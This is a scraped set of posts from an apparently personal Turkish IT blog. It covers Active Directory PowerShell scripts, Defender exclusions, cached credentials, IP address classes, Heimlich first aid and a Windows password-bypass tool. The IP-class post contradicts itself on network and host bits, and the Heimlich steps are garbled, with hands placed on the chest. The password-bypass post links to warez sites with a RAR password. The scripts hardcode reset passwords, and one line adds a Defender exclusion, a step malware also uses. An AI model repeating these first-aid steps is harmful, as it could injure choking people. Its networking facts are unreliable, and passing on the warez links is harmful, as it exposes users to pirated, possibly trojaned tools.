Name,SamAccountName,LastLogonDate,Enabled | Where {($_.LastLogonDate -eq $NULL)} | Sort | Select Name,SamAccountName,LastLogonDate,Enabled | Export-Csv "C:\Enable_account_and_never_Login.csv"#Find Disabled Users who have never logged inGet-ADUser -Filter {Enabled -eq $FALSE} -Properties Name,SamAccountName,LastLogonDate,Enabled | Where {($_.LastLogonDate -eq $NULL)} | Sort | Select Name,SamAccountName,LastLogonDate,Enabled | Export-Csv "C:\newer_login_and_disable_users1.csv" #Find Disabled users who have been disabled (logoned) in the last 180 daysGet-ADUser -Filter {Enabled -eq $FALSE} -Properties Name,SamAccountName,LastLogonDate,Enabled | Where {($_.LastLogonDate -lt (Get-Date).AddDays(-180)) -and ($_.LastLogonDate -ne $NULL)} | Sort | Select Name,SamAccountName,LastLogonDate,Enabled | Export-Csv "C:\180_days_disabled.csv" #Find all Disabled UsersGet-ADUser -Filter {Enabled -eq $FALSE} -Properties Name,SamAccountName,LastLogonDate,Enabled | Sort | Select Name,SamAccountName,LastLogonDate,Enabled | Export-Csv "C:\all_disable_users.csv" #AD Find All ComputersGet-ADComputer -Filter * -Properties OperatingSystem, LastLogonDate | Sort | Select Name,OperatingSystem,LastLogonDate,Enabled| Export-Csv "C:\allcomputers.csv" #Enable Computers and find those that have not been logged in for 30 daysGet-ADComputer -Filter {Enabled -eq $TRUE} -Properties OperatingSystem, LastLogonDate | Where { $_.LastLogonDate -lt (Get-Date).AddDays(-30) } | Sort | Select Name,OperatingSystem,LastLogonDate,Enabled| Export-Csv "C:\inactivecomputers1.csv" #Enable Computers and find those that have never been logged inGet-ADComputer -Filter {Enabled -eq $TRUE} -Properties OperatingSystem, LastLogonDate | Where { ($_.LastLogonDate -eq $NULL) }| Sort | Select Name,OperatingSystem,LastLogonDate,Enabled| Export-Csv "C:\enable_and_NeverLoginComp.csv" #All Disable ComputersGet-ADComputer -Filter {Enabled -eq $FALSE} -Properties OperatingSystem, LastLogonDate | Sort | Select Name,OperatingSystem,LastLogonDate,Enabled| Export-Csv "C:\disabled_computers.csv"#All about Domain Controllers - Whoami$domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()$domain | ForEach-Object {$_.DomainControllers} | ForEach-Object { $hostEntry= [System.Net.Dns]::GetHostByName($_.Name) New-Object -TypeName PSObject -Property @{ Name = $_.Name IPAddress = $hostEntry.AddressList[0].IPAddressToString }} | Export-CSV "C:\domaincontrollers.csv" -NoTypeInformation -Encoding UTF8 #Find DHCP Serversnetsh dhcp show server | Export-Csv "C:\alldhcpserverlist.csv" #Move user to a different OUGet-ADUser $name| Move-ADObject -TargetPath 'OU=users,DC=Guler,Dc=com'Get-ADUser “faruk” | Move-ADObject -TargetPath “OU=Uyeler,DC=Guler,DC=com” #Get total number of users(Get-ADUser -filter *).count #Get the number of computers in Active Directory(Get-ADComputer -Filter *).Count #Find the number of users in a particular OU(Get-ADUser -filter * -searchbase "OU=personel, OU=uyeler, DC=Guler, DC=com").count #Get the number of enabled users(Get-AdUser -filter * |Where {$_.enabled -eq "True"}).count #Get the number of disabled users(Get-ADUser -filter * |Where {$_.enabled -ne "False"}).count #Get the number of users in the group(Get-ADGroupMember -Identity "Group Name").count #List Shared Mailboxes on Exchange ServerGet-Recipient -Resultsize unlimited | where {$_.RecipientTypeDetails -eq "SharedMailbox"} | ft Name,Manager >C:\shared_mailboxes.csv #List Contacts in Exchange ServerGet-Recipient -Resultsize unlimited | where {$_.RecipientTypeDetails -eq "Contacts"} | ft Name,Manager >C:\all_contacts.csv #Deleting a specific User#Remove-ADUser -identity "faruk" -Confirm:$False #Find Computers Inactive for 100 days$DaysInactive = 100$time = (Get-Date).Adddays(-($DaysInactive))Get-ADComputer -Filter {LastLogonTimeStamp -lt $time} -ResultPageSize 99999 -resultSetSize $null -Properties Name, OperatingSystem, SamAccountName, DistinguishedName | select Name Saygılarımla – Best Regards --- ## Heimlich Manevrası Nedir, Neden bu kadar Önemli Link: https://farukguler.com/posts/heimlich-manevrasi/ Heimlich Manevrası, bir kişinin yutma sırasında soluk borusuna veya boğazına takılan bir yabancı cismin çıkarılmasına yardımcı olmak için yapılan bir ilk yardım müdahalesidir. Bu manevra, özellikle yemek sırasında veya küçük çocukların küçük oyuncakları veya yiyecekleri ağızlarına alarak soluk borusuna takması gibi durumlarda kullanılır. Heimlich Manevrası, ilk olarak Amerikalı bir tıp doktoru olan Dr. Henry Heimlich tarafından 1974 yılında tanıtılmıştır ve o zamandan beri birçok insanın hayatını kurtarmıştır. Manevra, soluk borusuna takılan yabancı cismin hava yolunu tıkamasını önleyerek kişinin boğulmasını engeller. Heimlich Manevrası'nın önemi, soluk borusuna takılan yabancı cisimlerin hızlı bir şekilde çıkarılması gerektiğinden kaynaklanmaktadır. Bu tür durumlarda zamanın önemi büyüktür ve doğru müdahale yapılması hayat kurtarıcı olabilir. Ayrıca, birçok insanın bilmediği ve uygulayamadığı bir müdahale olduğundan, Heimlich Manevrası'nın bilinmesi ve öğrenilmesi hayati önem taşır. Yetişkinlerde Heimlich Manevrası Heimlich Manevrası, bir yetişkinin yutma sırasında soluk borusuna veya boğazına takılan bir yabancı cismin çıkarılmasına yardımcı olmak için kullanılan bir ilk yardım müdahalesidir. İşlem, yabancı cismin hava yolunu tıkamasını önleyerek kişinin boğulmasını engeller. Yetişkinlerde Heimlich Manevrası, aşağıdaki adımlarla yapılır: Kişinin durumunu değerlendirin: Eğer kişi öksürük veya konuşma gibi normal solunum belirtileri gösteriyorsa, o zaman Heimlich Manevrası'na gerek yoktur. Ancak, kişi nefes alamıyorsa, soluk borusuna bir yabancı cisim takılmış olabilir ve Heimlich Manevrası yapılması gerekebilir. Arkasına geçin: Kişinin arkasına geçin ve ellerinizi bileklerinizin üzerinde birleştirin. Bileklerinizi kişinin göğsünde tutun. Baskı uygulayın: Şiddetli bir şekilde öksürme, konuşma veya nefes alma belirtileri göstermeyen kişilerde, ellerinizi bileklerinizin üzerinde birleştirin ve avuç içlerinizi kişinin göğsünde, kaburga kemiğinin altında, göbek deliğine yakın bir noktada yerleştirin. Daha sonra, hızlı ve güçlü bir şekilde içe doğru bastırın. Yineleyin: Eğer yabancı cisim hala soluk borusunda kalmışsa, aynı işlemi tekrarlayın. Ancak, dikkatli olun ve çok fazla güç kullanmaktan kaçının. 112 Acil Servisi Arayın: Heimlich Manevrası yaptıktan sonra kişinin durumu hala kötüye gidiyorsa, hemen 112 Acil Servisi arayın ve yardım isteyin. Özetle, Heimlich Manevrası, bir yetişkinin yutma sırasında soluk borusuna veya boğazına takılan bir yabancı cismin çıkarılmasına yardımcı olan bir ilk yardım müdahalesidir. Ancak, bu işlem sadece belirli durumlarda ve doğru şekilde yapılmalıdır. Eğer bir yetişkinin soluk borusuna yabancı bir cisim takılırsa, hemen Heimlich Manevrası yapın ve 112 Acil Servisi arayarak yardım isteyin. Bebeklerde (1 Yaş Altı) Heimlich Manevrası Heimlich Manevrası, boğulma veya nefes darlığı yaşayan bir kişiye yardımcı olmak için yapılan bir ilk yardım tekniğidir. Bebeklerde Heimlich Manevrası, aşağıdaki adımları izleyerek yapılabilir: Bebeği yüzüstü pozisyona getirin. Bebeğinizin başını ve göğsünü destekleyin. Bebeğinizin sırtına hafifçe vurun. Bebeğinizin sırtını destekleyerek, sırtını iki parmağınızla ovun. Bu işlem, bebeğinizin soluk borusunda sıkışmış herhangi bir nesnenin hareket etmesine yardımcı olacaktır. Eğer bu işlemle bebeğinizin boğazındaki nesne çıkmazsa, bebeğinizi sırt üstü pozisyona getirin. Bebeğinizin göğsünü iki parmağınızla bastırın. Parmaklarınızı bebeğinizin meme uçlarının hemen altına yerleştirin ve bebeğinizin göğsünü hafifçe bastırın. Bu işlemi beş kez tekrarlayın. Eğer bebeğiniz hala nefes alamıyorsa, acil servis çağırmak için birini görevlendirin ve bebeğinizin yaşamını kurtarmak için CPR yapmaya başlayın. Saygılarımla. – Best regards. --- ## Windows Defender dışlamalar hakkında Link: https://farukguler.com/posts/windows-defender-dislamalar/ Arkadaşlar bugün tesadüfen Windows Defender dışlamalara göz atarken ve bazı bilgim dışında dosyalarla karşılaştım. biliyorsunuz bu kısım Windows Defender' in virüs taramalarında virüs taraması yapmaması için bazı uygulama ve klasörleri tanımladığımız kısımdır. bu kısımdaki dışlamalara eklenmiş dosyaları acilen kaldırarak temizledim, gördüğüm kadarıyla virüs Windows Defender' e müdahale ederek kendini dışlamalara eklemeyi başarmış. bilgilendirme için paylaşma gereği duydum. Friends, today I took a look at Windows Defender exclusions by coincidence and came across some files without my knowledge. You know, this is the part where we define some applications and folders so that Windows Defender does not scan for viruses during virus scans. I urgently removed the files added to the exclusions in this section and cleaned them. As far as I can see, the virus has managed to add itself to the exclusions by interfering with Windows Defender. I felt the need to share for information. Dışlamalar Virüs ve tehdit koruması ayarları altında Ayarları yönet' i ve ardından Dışlamalar altında Dışlama ekle veya kaldır kısmında bulunur. Buradaki "bilginiz dışında" dosya yollarını veya uygulama uzantıları varsa acilen kaldırmanız gerekir! If there are file paths or application extensions without your knowledge here, you should remove them immediately. PowerShell kullanarak Windows Defender istisnalarını yönetmek: #Windows Defender İstisnalarını Listeleme: Get-MpPreference | Select-Object -ExpandProperty ExclusionPath #Windows Defender İstisnaları Ekleme: Add-MpPreference -ExclusionPath "C:\Example\Path" Belirtilen bir yolu (örneğin, "C:\Example\Path") #Windows Defender İstisnalarını Kaldırma: Remove-MpPreference -ExclusionPath "C:\Example\Path" Saygılarımla. – Best regards. --- ## İyodin Nükleer Kaza Durumunda Neden Kullanılır Link: https://farukguler.com/posts/iyodin-nedir/ İyot, doğada bulunan bir kimyasal elementtir ve sembolü "I" harfiyle gösterilir. İyodin, iyot elementinin moleküler formudur ve genellikle antiseptik özellikleri nedeniyle kullanılır. İyodin, yaraları temizlemek ve enfeksiyon riskini azaltmak için ciltte kullanılabilir. Ayrıca, tiroit bezinin normal işlevi için gereklidir ve vücut tarafından sentezlenmez, bu nedenle diyetle alınması gerekir. İyot, deniz ürünleri, süt, yumurta, deniz yosunu ve bazı sebzelerde doğal olarak bulunur. Ayrıca, iyodin, tıpta radyoaktif bir formda kullanılır. Radyoaktif iyot, tiroid kanserinin tedavisinde ve tiroid bezi hastalıklarının tanısında kullanılır. Ancak, aşırı miktarda iyot tüketimi tiroid fonksiyonlarına zarar verebilir, bu nedenle iyot takviyeleri sadece doktor tavsiyesi ile kullanılmalıdır. Nükleer Kaza Durumunda Neden Kullanılır ? Nükleer kaza durumunda birçok farklı koruyucu önlem alınması gerekmektedir. Bunlar arasında, nükleer kirlilikten korunmak için radyasyon sızdırmayan bir barınakta kalınması ve kontamine olmuş bölgelerden uzak durulması gerekmektedir. Ayrıca, kişilerin radyasyona maruz kalma düzeylerini ölçmek ve kontrol etmek için radyasyon ölçüm cihazları kullanılır. Nükleer kaza durumunda ayrıca radyasyon kaynaklarını etkisiz hale getirmek için çeşitli temizleme yöntemleri kullanılabilir. Bu yöntemler arasında, radyoaktif madde emici malzemeler kullanarak kirliliği emme ve kirlenmiş nesneleri yıkama ve dekontamine etme gibi yöntemler yer alır. Nükleer kaza durumunda acil durum ekipleri tarafından kullanılan diğer önlemler arasında, yaralıları tedavi etmek için özel tıbbi cihazlar ve ilaçlar kullanmak, halkı bilgilendirmek ve uyarmak için acil durum uyarı sistemleri kurmak ve nükleer santralde çalışanların güvenliğini sağlamak için özel koruyucu giysiler kullanmak yer alabilir. Bu önlemler, nükleer kaza durumlarında insanların hayatlarını kurtarmak ve radyasyon kaynaklı hasarı en aza indirmek için önemlidir. --- ## HashCheck Shell Extension Dosya Bütünlüğü Doğrulama Link: https://farukguler.com/posts/hashcheck-shell-extension/ HashCheck Shell Extension, Windows işletim sistemi için ücretsiz bir yazılımdır ve dosya bütünlüğü doğrulaması yapmak için kullanılır. Bu yazılım, bir dosyanın bütünlüğünü sağlamak için kullanılan hash algoritmalarını kullanarak dosyaların bütünlüğünü kontrol eder. Dosya bütünlüğü doğrulama, bir dosyanın zaman içinde değişmediğinden emin olmak için kullanılır. Bu, dosyanın doğru bir şekilde indirildiğinden, kopyalandığından veya taşındığından emin olmak için özellikle önemlidir. Dosya bütünlüğü doğrulaması, özellikle büyük dosyaların indirilmesi veya dağıtılması gibi durumlarda yararlıdır. HashCheck Shell Extension, Windows Gezgini'ne bir bağlantı sağlar ve dosyaların bütünlüğünü doğrulamak için birkaç tıklama yaparak kullanılabilir. Bu yazılım, dosyaların MD5, SHA-1, SHA-256, SHA-384 ve SHA-512 gibi çeşitli hash algoritmalarını kullanarak bütünlük doğrulaması yapabilir. Dosya bütünlüğü doğrulama işlemi, hash değeri oluşturulması ve kaydedilmesi ile başlar. Sonra, aynı dosya tekrar doğrulanmak istendiğinde, dosyanın hash değeri hesaplanır ve kaydedilen hash değeri ile karşılaştırılır. Eğer hash değerleri birbirine eşit ise, dosyanın bütünlüğü doğrulanmış demektir. Eğer hash değerleri birbirinden farklıysa, dosya değiştirilmiş demektir. HashCheck Shell Extension, dosya bütünlüğü doğrulama işlemini kolaylaştırır ve hızlandırır. Bu sayede, kullanıcılar dosya bütünlüğünü doğrulamak için daha az zaman harcarlar ve dosyaların bütünlüğünden emin olabilirler. Saygılarımla. – Best regards. --- ## Programsız driverler nasıl yedeklenir Link: https://farukguler.com/posts/driverler-nasil-yedeklenir/ Bilgisayarınızı ve sunucunuzu sıfırlamadan öncen önce Network, Grafik, Donanım vs gibi önemli driverların yedeklenmesi tavsiye edilmektedir Bu sayede bilgisayarınızdaki bütün driverlari yedekleyebilir ve bu yedeği kullanarak geri yükleyebilirsiniz. ayrıca tüm ağınızdaki ve kurumunuzdaki diğer makinelere bu almış olduğunuz yedek driverleri yükleyerek zaman tasarrufu yapabilirsiniz Önce nereye yedekleme yapacağınızı belirlemeniz gerekiyor. Örneğin masaüstünde "driverbackup" diye bir klasör oluşturup oraya yedekleme yapmak istiyorum. Komut sistemi veya Powershell konsolu yönetici haklarıyla çalıştırılarak aşağıdaki komutu yazmam yeterli. PS & CMD: dism /online /export-driver /destination:"C:\Users\faruk\Desktop\driverbackup" Saygılarımla. – Best regards. --- ## Active Directory kullanıcılara toplu olarak şifre verilmesi Link: https://farukguler.com/posts/active-directory-mass-password-change/ PS: ############################################################################### ############################################################################### #Method 1 Import-Module ActiveDirectory #Kullanıcı bigilerini ve passwordleri içeri al ve oku $Resetpassword = Import-Csv "C:\parolasifirla.csv" foreach ($Account in $Resetpassword) { $Account.sAMAccountName $Account.Password Set-ADAccountPassword -Identity $Account.sAMAccountName -NewPassword (ConvertTo-SecureString $Account.Password -AsPlainText -force) -Reset } ########################################################################### ########################################################################### #Method 2 Import-Module ActiveDirectory #Yeni şifreyi belirleyin $newPassword = ConvertTo-SecureString -AsPlainText “Password45++” -Force #Kullanıcı bigilerini içeri al ve oku Import-Csv "C:\parolasifirla.csv" | ForEach-Object { $samAccountName = $_."samAccountName" #Kullanıcı şifresini sıfırlayın. Set-ADAccountPassword -Identity $samAccountName -NewPassword $newPassword -Reset # "Sifreyi Oturum Açmada Degistir" seçenegini devre disi birak/aktif et Set-AdUser -Identity $samAccountName -ChangePasswordAtLogon $true Write-Host " AD Password has been reset for: "$samAccountName } ########################################################################### ########################################################################### #Method 3 # Active Directory modülünü içe aktar Import-Module ActiveDirectory # Yeni sifreyi ayarla $newPassword = ConvertTo-SecureString -AsPlainText "Passwd599+" -Force # CSV dosyasindan kullanicilari içe aktar $csvPath = "C:\Kayitlar\user_page.csv" $users = Import-Csv $csvPath # CSV içindeki her kullanici için ayarlari güncelle foreach ($user in $users) { $samAccountName = $user."samAccountName" # Kullaniciyi Active Directory'de bul $userObj = Get-ADUser -Filter {SamAccountName -eq $samAccountName} if ($userObj) { # Kullanici için yeni sifreyi ayarla Set-ADAccountPassword -Identity $userObj -NewPassword $newPassword -Reset # "Sifreyi Oturum Açmada Degistir" seçenegini devre disi birak/aktif et Set-ADUser -Identity $userObj -ChangePasswordAtLogon $false Write-Host "$samAccountName için sifre ve 'Sifreyi Oturum Açmada Degistir' güncellendi." } else { Write-Host "Active Directory'de $samAccountName kullanicisi bulunamadi." } } ########################################################################### ########################################################################### virgülle ayrılmış - comma separated .csv file örneği --- ## Etki Alanı Kimlik Bilgilerinin Cache Alınması Link: https://farukguler.com/posts/oturum-acma-kimlik-bilgileri-cache/ Bir etki alanı kullanıcısı Windows'ta oturum açtığında, kimlik bilgileri varsayılan olarak yerel bilgisayara kaydedilir (Önbelleğe Alınmış Kimlik Bilgileri: kullanıcı adı ve parola Bu, AD etki alanı denetleyicileri kullanılamıyor, kapalı veya ağ kablosu bilgisayardan çıkarılmış olsa bile kullanıcının bilgisayarda oturum açmasını sağlar. Etki alanı hesabı kimlik bilgilerinin önbelleğe alınması, Ağ mevcut olmadığında bir cihazdaki yerel verilerine erişebilen dizüstü bilgisayar kullanıcıları için çok uygundur. Bir kullanıcı bu bilgisayarda en az bir kez kimlik doğrulaması yaptıysa ve o zamandan beri parolasını değiştirilmediyse, önbelleğe alınmış kimlik bilgileri Windows'ta oturum açmak için kullanılabilir. Nakit olarak verilen kimlik bilgilerindeki kullanıcı parolasının süresi asla dolmaz . Etki alanı parola ilkesi bir kullanıcıyı parolayı değiştirmeye zorlarsa, yerel önbelleğe kaydedilen parola, kullanıcı yeni bir parolayla oturum açana kadar değişmez. Bilgisayarda son oturum açıldıktan sonra AD' deki kullanıcı şifresi değiştirilmişse ve bilgisayar çevrimdışıysa. kablo veya ağ sorunları (özetle etki alanı ağına erişim yoksa), kullanıcı eski şifre ile bilgisayara girip oturum açabilecektir. Varsayılan olarak, Windows 10 ve Windows Server, başka profille oturum açmadığınız sürece en son oturum açan Default olarak (10) kullanıcının kimlik bilgilerini depolar. Bu değeri aşağıdaki GPO seçeneğiyle değiştirebilirsiniz. GPO:  Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options altından Interactive logon: Number of previous logons to cache ayarıyla Cache üzerinden açılabilecek oturum sayısını ayarlayabilirsiniz. Uygulanan policy' i client REGEDIT CashedLogonsCount  üzerinden kontrol edebilirsiniz. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Eğer bu eşik değerini (0) olarak ayarlarsanız, bu Windows'un kullanıcı kimlik bilgilerini önbelleğe almasını engeller. Bu durumda etki alanı kullanılamadığında bir kullanıcı oturum açmaya çalışırsa şu hatayı görür ve oturum açamaz. There are currently no logon servers available to service the logon request. Oturum açma isteğine hizmet edecek geçerli sunucu yok. Cache Alınmış Windows Kimlik Bilgilerinin Güvenlik Riskleri - Security Risks of Cacheed Windows Credentials Kimlik bilgilerini önbelleğe almanın bazı güvenlik riskleri vardır. Önbelleğe alınmış verilerle bir bilgisayara/dizüstü bilgisayara fiziksel erişim sağladıktan sonra, bir saldırgan bir kaba kuvvet saldırısı yada farklı bir metot kullanarak parolanızı şifresini çözebilir. (özellikle burada oturum açılan Domain Admin,Enterprise Admin gibi önemli kullanıcılarsa tehlikelidir) bu nedenle etki alanı yönetici hesabına sahip kullanıcılar için önbelleğe almanın kullanılması kesinlikle önerilmez. Saygılarımla. – Best regards. --- ## Google Earth Nedir? Link: https://farukguler.com/posts/google-earth/ Google Earth; Google Earth, Google tarafından geliştirilen, dünya genelindeki farklı coğrafi konumları interaktif olarak keşfetmenizi sağlayan bir uygulamadır. Bu uygulama, dünya üzerindeki farklı yerleri 3 boyutlu modeller, uydu görüntüleri, hava fotoğrafları ve haritalar yardımıyla gösterir. Google Earth, kullanıcıların dünya üzerindeki herhangi bir yere yakınlaştırma ve uzaklaştırma yapmasını sağlar. Kullanıcılar, dünya üzerindeki farklı yerleri keşfetmek için farklı araçlar kullanabilirler. Örneğin, kullanıcılar farklı katmanları (örneğin, trafik, hava durumu, gezi noktaları vb.) açıp kapatarak dünya üzerindeki farklı özellikleri görüntüleyebilirler. Google Earth, dünya üzerindeki farklı yerleri keşfetmek için birçok araç sunar. Bunlar arasında, sokak görünümleri, etiketler, fotoğraflar, video ve panoramik görünümler gibi özellikler yer alır. Kullanıcılar, dünya üzerindeki farklı konumları arayabilir, kaydedebilir, paylaşabilir ve hatta navigasyon yapabilirler. Google Earth, seyahat planlama, eğitim amaçlı kullanım, turizm ve çevre koruma gibi farklı alanlarda da kullanılabilir. Örneğin, bir seyahat planlaması yaparken Google Earth, seyahat edilecek yerler hakkında fikir edinmek için kullanılabilir. Ayrıca, öğrenciler dünya üzerindeki farklı yerleri keşfetmek, tarih ve coğrafya öğrenmek için Google Earth'i kullanabilirler. Sonuç olarak, Google Earth dünya üzerindeki farklı coğrafi konumları keşfetmek ve öğrenmek için kullanabileceğiniz interaktif bir uygulamadır. Google Sky: Google Sky, Google Earth benzeri bir uygulama olup, bu uygulama sayesinde kullanıcılar gökyüzündeki farklı yıldızlar, galaksiler, gezegenler ve diğer gök cisimlerini interaktif olarak keşfedebilirler. Google Sky, uzay araştırmalarına ilgi duyan kullanıcılar için birçok farklı araç sunar. Google Sky'da, kullanıcılar gökyüzündeki farklı gök cisimlerini keşfetmek için farklı araçlar kullanabilirler. Örneğin, kullanıcılar, farklı yıldızlar ve diğer gök cisimlerini yakınlaştırarak veya uzaklaştırarak inceleyebilirler. Ayrıca, Google Sky, farklı yıldız haritalarını ve diğer astronomi verilerini görüntülemek için kullanılabilir. Google Sky, farklı astronomi projeleri için de kullanılabilir. Örneğin, kullanıcılar, farklı gök cisimleri hakkında bilgi toplamak veya gökyüzündeki belirli bir bölgeyi incelemek için farklı filtreler ve araçlar kullanabilirler. Ayrıca, Google Sky, amatör astronomlar için farklı gözlem noktaları ve etkinlikleri de gösterir. Google Sky, astronomi ve uzay araştırmalarına ilgi duyan kullanıcılar için interaktif bir araçtır. Bu uygulama sayesinde kullanıcılar, gökyüzündeki farklı yıldızlar, galaksiler, gezegenler ve diğer gök cisimlerini keşfetme imkanına sahip olabilirler. Özellikler - Features Google Earth birçok özellik sunar. Bunlar arasında: 3 Boyutlu Görüntüler: Google Earth, dünya üzerindeki farklı yerleri 3 boyutlu modeller, uydu görüntüleri, hava fotoğrafları ve haritalar yardımıyla gösterir. Yakınlaştırma ve Uzaklaştırma: Kullanıcılar, dünya üzerindeki farklı yerleri keşfetmek için yakınlaştırma ve uzaklaştırma yapabilirler. Katmanlar: Kullanıcılar, farklı katmanları (örneğin, trafik, hava durumu, gezi noktaları vb.) açıp kapatarak dünya üzerindeki farklı özellikleri görüntüleyebilirler. Sokak Görünümleri: Kullanıcılar, farklı yerlerdeki sokakları keşfetmek için sokak görünümlerini kullanabilirler. Etiketler: Kullanıcılar, dünya üzerindeki farklı yerler hakkında bilgi edinmek için etiketleri kullanabilirler. Fotoğraflar ve Videolar: Kullanıcılar, dünya üzerindeki farklı yerlerdeki fotoğrafları ve videoları görüntüleyebilirler. Panoramik Görünümler: Kullanıcılar, dünya üzerindeki farklı yerlerdeki panoramik görünümleri inceleyebilirler. Arama: Kullanıcılar, dünya üzerindeki farklı konumları arayabilirler. Kaydetme ve Paylaşma: Kullanıcılar, dünya üzerindeki farklı konumları kaydedebilir ve paylaşabilirler. Navigasyon: Kullanıcılar, dünya üzerindeki farklı yerlere navigasyon yapabilirler. Geliştirici(ler)Googleİlk yayınlanma11 Haziran 2001 (20 yıl önce)Güncel sürüm (27.02.2022 İtibariyle)9.3.105.0İşletim sistemiWindows, Mac OS X, LinuxAndroid, iOSLisansSahipli yazılım, ücretsizResmî sitesiwww.google.com/earth --- ## About Public IP Address Link: https://farukguler.com/posts/public-ip-address/ Public IP adresleri, internete doğrudan bağlı cihazlar tarafından kullanılır ve tüm internet kullanıcıları arasında benzersizdir. Private IP adresleri ise, belirli bir ağda yerel cihazlar tarafından kullanılır ve ağda benzersizdir. Bununla birlikte, PublicIP adresleri, internetin tamamında benzersizdir ve internet servis sağlayıcıları (ISP’ler) tarafından sağlanır. Public IPv4 Adresi Sınıfları - Public IPv4 Address Classes: IP adresleri, Classful Addressing adı verilen bir yöntemle sınıflara ayrılır. Bu sınıflandırma, IP adreslerinin hangi ağ ve host kısımlarının olduğunu belirler. IP adresleri, A, B, C, D ve E olmak üzere beş farklı sınıfa ayrılır. Her sınıfın belirli bir aralığı vardır ve her sınıfın ağ ve host sayısı farklıdır. A Sınıfı: A sınıfı IP adresleri, 0.0.0.0 ile 127.255.255.255 arasındaki IP adresleri aralığını kapsar. A sınıfı IP adreslerinde ilk bit her zaman 0'dır. Bu, IP adresinin ağ kısmının en az 8 bitlik olduğu anlamına gelir. Bu nedenle, A sınıfı IP adresleri, en az 24 bitlik bir ağ kısmı ve 8 bitlik bir host kısmı kullanır. A sınıfı IP adresleri genellikle büyük ağlar için ayrılır ve bu nedenle bir A sınıfı IP adresi, 16 milyonu aşkın hostu destekleyebilir. B Sınıfı: B sınıfı IP adresleri, 128.0.0.0 ile 191.255.255.255 arasındaki IP adresleri aralığını kapsar. B sınıfı IP adreslerinde ilk iki bit her zaman 10'dur. Bu, IP adresinin ağ kısmının en az 16 bitlik olduğu anlamına gelir. Bu nedenle, B sınıfı IP adresleri, en az 16 bitlik bir ağ kısmı ve 16 bitlik bir host kısmı kullanır. B sınıfı IP adresleri, orta ölçekli ağlar için ayrılır ve bir B sınıfı IP adresi, yaklaşık 65,000 hostu destekleyebilir. C Sınıfı: C sınıfı IP adresleri, 192.0.0.0 ile 223.255.255.255 arasındaki IP adresleri aralığını kapsar. C sınıfı IP adreslerinde ilk üç bit her zaman 110'dır. Bu, IP adresinin ağ kısmının en az 24 bitlik olduğu anlamına gelir. Bu nedenle, C sınıfı IP adresleri, en az 8 bitlik bir ağ kısmı ve 24 bitlik bir host kısmı kullanır. C sınıfı IP adresleri, küçük ağlar için ayrılır ve bir C sınıfı IP adresi, yaklaşık 254 hostu destekleyebilir. D Sınıfı: D sınıfı IP adresleri, 224.0.0.0 ile 239.255.255.255 arasındaki IP adresleri aralığını kapsar. D sınıfı IP adreslerinde ilk dört bit her zaman 1110'dur. Bu sınıf, çoklu yayın adresleri için ayrılır. Çoklu yayın, bir mesajın birden fazla cihaza aynı anda gönderilmesini sağlayan bir iletişim yöntemidir. Bu nedenle, D sınıfı IP adresleri genellikle multicast trafiği için kullanılır. D sınıfı IP adreslerinin host kısmı, 28 bit uzunluğundadır. Bu nedenle, D sınıfı IP adresleri 2^28 veya yaklaşık 268 milyon farklı multicast adresini destekleyebilir. E Sınıfı: E sınıfı IP adresleri, 240.0.0.0 ile 255.255.255.255 arasındaki IP adresleri aralığını kapsar. E sınıfı IP adreslerinde ilk beş bit her zaman 11110'dur. Bu sınıf, özel amaçlı kullanımlar için ayrılır. E sınıfı IP adresleri, genellikle deneyler, araştırmalar ve gelecekteki protokoller için ayrılır. Bu sınıfın kullanımı oldukça sınırlıdır ve internet protokolünde pek kullanılmaz. E sınıfı IP adreslerinin host kısmı 24 bit uzunluğundadır. Bu nedenle, E sınıfı IP adresleri 2^24 veya yaklaşık 16 milyon farklı özel amaçlı IP adresini destekleyebilir. Private Ip adreslerine ise başka bir makalede değineceğiz. Umarım faydalı olmuştur. - I hope it was useful. --- ## Windows local users and Active Directory Password Bypassed Link: https://farukguler.com/posts/reset-windows-password/ Passcape Reset Windows Password Advanced Edition v9.3.0.937 Bu yazımızda Passcape Reset Windows Password Advanced Edition v9 yazılımı hakkında bilgi vermek istiyorum. Passcape Reset Windows Password Advanced Edition v9, Windows işletim sistemi için bir parola kurtarma yazılımıdır. Bu yazılım, unutulan veya kaybedilen Windows kullanıcı hesaplarına erişmek için kullanılır. Program, Windows 10, 8, 7, Vista, XP, 2000, NT, Windows Server 2019, 2016, 2012, 2008, 2003 ve 2000 gibi çoğu Windows sürümüyle uyumludur. Passcape Reset Windows Password Advanced Edition v9, CD, DVD veya USB sürücüsü üzerinden başlatılabilen bir önyükleme diski olarak çalışır. Önyükleme diski, bilgisayarı açarken Windows'tan önce başlar ve kullanıcı parolası sıfırlama işlemini gerçekleştirir. Program, yerel hesapları veya etki alanı hesaplarını kurtarabilir ve Windows oturum açma parolasını veya etki alanı parolasını sıfırlayabilir. Bu yazılım, teknisyenler ve sistem yöneticileri için yararlı bir araçtır. Ancak, diğer insanların bilgisayarlarına erişmek veya izinsiz olarak parolaları kurtarmak için kullanılmamalıdır. Aksi takdirde, bu tür faaliyetler yasalara aykırı olabilir ve ciddi sonuçlara yol açabilir. ***NOT: Yapılan kullanıcı veri tabloları düzenlemeleri sonrası Active Directory Veritabanınız Corrupted! olabilir. bu sorun için farklı çözümler mevcuttur. Temel Özellikler Windows NT/2000/2003/2008/2012/2016 desteği Windows NT/2000/XP/Vista/7/8/10 desteği UEFI desteği 32 ve 64 Bit desteği Şifre sıfırlama ya da değiştirme Lokal şifreleri sıfırlama ya da değiştirme Windows live hesaplarını bypass etme Yeni hesap oluşturabilme Active Directory desteği Windows 8/10'da resim ve PIN için destek Ürün anahtarlarını ve seri numaralarını bulabilme (Daha önce bilgisayara kurduğunuz) Ağ ve internet şifrelerini bulabilme Wi-Fi ve ağ şifresi bulabilme vb. diğer özellikler İndirme Linkleri: https://www.warezturkey.me/40009-passcape-wireless-password-recovery-professional-edition.html https://www64.zippyshare.com/v/cdVZfjTj/file.html Rar Şifre:www.warezturkey.net In this article, I would like to give information about Passcape Reset Windows Password Advanced Edition v9 software. Passcape Reset Windows Password Advanced Edition v9 is a password recovery software for Windows operating system. This software is used to access forgotten or lost Windows user accounts. The program is compatible with most versions of Windows, such as Windows 10, 8, 7, Vista, XP, 2000, NT, Windows Server 2019, 2016, 2012, 2008, 2003 and 2000. Passcape Reset Windows Password Advanced Edition v9 works as a boot disk that can be booted from a CD, DVD or USB drive. The boot disk starts before Windows when turning on the computer and performs the user password reset. The program can recover local accounts or domain accounts and reset Windows login password or domain password. This software is a useful tool for technicians and system 